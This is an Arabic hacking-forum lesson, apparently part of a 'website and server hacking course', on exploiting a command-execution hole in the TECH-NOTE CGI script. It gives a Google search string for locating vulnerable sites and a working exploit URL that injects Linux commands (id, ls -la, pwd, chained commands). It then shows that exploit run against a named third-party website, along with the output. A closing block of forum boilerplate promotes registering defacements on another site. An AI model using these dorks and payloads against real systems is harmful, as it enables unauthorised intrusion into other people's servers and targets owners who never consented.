الدورة التعليمية لاختراق المواقع و السيرفرات مقدمة من طرف ASDELY & SCORPION =/=/=/=/=/=================================== استغلال ثغرات Command ExecuTion --==/=/=/=/=/=/=============================/ ثغرات الCommand ExecuTion بالمختصر المفيد هي الثغرات التي تجعلنا نطبق اوامر Linux على السرفر . الثغرة اللي سوف نطبق عليها درسنا في سكربت TECH-NOTE [+] كود البحث في جوجل : inurl:/cgi-bin/technote [+] الاستغلال : main.cgi?down_num=5466654&board=rebarz99&command=d own_load&filename=rb9.txt|id| ملاحضة : الحاجة الوحيدة التي يجب تغييرها في الاستغلاله هي كلمة id , ضعو مكانها اي امر لنكس تريدونه (ls -la , uname -a , pwd...) الان نبدئ تطبيق هذه الثغرة >> اولا نشوفو اي محرك بحث : انا سوف اختار www.google.com ثم نكتب كود البحث >> inurl:/cgi-bin/technote اوكي كل تمام >> نختار اي موقع من المواق المحصل عليها : http://www.loveject.com/cgi-bin/technote الان سوف نطبق الثغرة باضافة الاستغلال >> http://www.loveject.com/cgi-bin/technote/main.cgi?down_num=5466654&board=rebarz99&command=d own_load&filename=rb9.txt|id| النتيجة : ############################ uid=99(nobody) gid=99(nobody) groups=99(nobody) ############################ لووووول الثغرة شغالة تمام >> نشوف اوامر لنكس اخرى : |ls -la| النتيجة : ############################# total 1320 drwxr-xr-x 7 byunghalee byunghalee 4096 May 14 2004 . drwxrwxrwx 10 byunghalee byunghalee 4096 Sep 4 2003 .. -rwxr-xr-x 1 byunghalee byunghalee 61515 Oct 25 2002 allshop.cgi drwxrwxrwx 52 byunghalee byunghalee 4096 May 7 02:33 board -rw-r--r-- 1 byunghalee byunghalee 184 Jan 28 2004 chat.gif drwxrwxrwx 5 byunghalee byunghalee 4096 Sep 4 2003 config -rwxr-xr-x 1 byunghalee byunghalee 17091 Nov 17 2002 config.cgi -rwxr-xr-x 1 byunghalee byunghalee 214058 Oct 17 2002 help.cgi -rwxr-xr-x 1 byunghalee byunghalee 51242 Jan 28 2004 humor.cgi -rwxr-xr-x 1 byunghalee byunghalee 61171 May 30 2003 iboard.cgi -rwxr-xr-x 1 byunghalee byunghalee 61171 Jan 28 2004 iboard2004.cgi drwxr-xr-x 2 byunghalee byunghalee 4096 Jan 28 2004 iboardicon drwxrwxrwx 12 byunghalee byunghalee 4096 Sep 4 2003 image -rwxr-xr-x 1 byunghalee byunghalee 86020 Sep 1 2002 index.cgi -rwxr-xr-x 1 byunghalee byunghalee 60548 Mar 21 2003 inews.cgi -rwxrwxrwx 1 byunghalee byunghalee 21853 Jan 13 2003 info.html -rwxr-xr-x 1 byunghalee byunghalee 16696 Jun 30 2003 infor.cgi -rwxr-xr-x 1 byunghalee byunghalee 2240 Jan 23 2003 install.cgi drwxrwxrwx 2 byunghalee byunghalee 4096 Sep 4 2003 library -rwxr-xr-x 1 byunghalee byunghalee 9501 Jun 4 2003 loginform.cgi -rwxr-xr-x 1 byunghalee byunghalee 60947 Nov 17 2002 love.cgi -rwxr-xr-x 1 byunghalee byunghalee 58058 Jan 27 2003 loveject.cgi -rwxr-xr-x 1 byunghalee byunghalee 70726 Oct 17 2002 main.cgi -rwxr-xr-x 1 byunghalee byunghalee 38765 Jan 29 2004 news2004.cgi -rwxr-xr-x 1 byunghalee byunghalee 81832 Nov 6 2004 print.cgi -rwxr-xr-x 1 byunghalee byunghalee 61506 Sep 1 2002 read.cgi -rwxr-xr-x 1 byunghalee byunghalee 60694 May 10 2003 sayun.cgi -rwxr-xr-x 1 byunghalee byunghalee 56419 Oct 24 2002 shop.cgi -rwxr-xr-x 1 byunghalee byunghalee 16432 Sep 1 2002 upgrade.cgi -rw-r--r-- 1 byunghalee byunghalee 42416 May 2 2003 ?¹Aü±¸µI¹?¸?AI.html ############################ |pwd| التيجة : ############################## /wecan/byunghalee/www.loveject.com/cgi-bin/technote ############################### ملاحضة مهمة جذا : منكم من سوف يتساؤل عن طريقة تطبيق اوامامر متسلسلة , مثلا امر الدخول الى مجلد ثم امر اضهار الملفات حق هذا المجلد >> الطريقة سهلة جدا اذ يكفي فصل الاوامر بعالمة ; + مثلا نريد الدخول الى مجلد اسمه config ثم اضهار الملفات حق هذا المجلد >> main.cgi?down_num=5466654&board=rebarz99&command=d own_load&filename=rb9.txt|cd config;ls -la| اظن كل شيء واضح , يلا سلام يا شباب >>:D انتهى الشرح
فيديو اليوم اللهم صلي على سيدنا محمد ، على عَدد خَلقِك وَعلى قدر عَظَمَتك وعلى قَدرٍ محبتك له . سجل إختراقك الأن في Aljyyosh.org بمميزات عديده من مواضيعي: 1 - عمل ايميل ياهو - ياهو 2 - عمل ايميل - انشاء ايميل 3 - كيف اسوي ايميل - انشاء ايميل 4 - تحميل الياهو 5 - برامج حماية 6 - دورة اختراق المواقع 7 - فتح المواقع المحجوبة 8 - لعبة فيفا 2012 9 - لعبة كاونتر سترايك 10 - لعبة GTA San Andreas 11 - استعادة الملفات 12 - فك الضغط 11 - لعبة صلاح الدين 12 - لعبة فاي ستي 13 - لعبة pes 2012 14 - عمل فيس بوك - فيس بوك 15 - فوتو فونيا - photofunia 2012 16 - برنامج تشارلز - برنامج Charles 17 - تحميل برنامج داون لود مانجر 18 - برنامج Internet Download Manager 19 - تحميل انترنت اكسبلورر 20 - لعبة جاتا - تحميل لعبة جاتا - لعبة gta 21 - لعبة نيد فور سبيد - لعبة need for speed 22 - لعبة كراش - لعبة crash 23 - لعبة ماين كرافت - لعبة MineCraft 24 - برامج - تحميل برامج - تحميل العاب 25 - تحميل برنامج محول الصوتيات 26 - برنامج تركيب الصور 27 - كراك idm 28 - تحميل كاسبر سكاي 29 - تحميل ماسنجر بلس 30 - برنامج تسريع النت سُبْحَانَكَ اللَّهُمَّ وبَحَمْدكَ أشْهدُ أنْ لا إلهَ إلا أنْتَ أَسْتَغْفِرُكَ وأتُوبُ إِلَيْكَ
قوانين المنتدى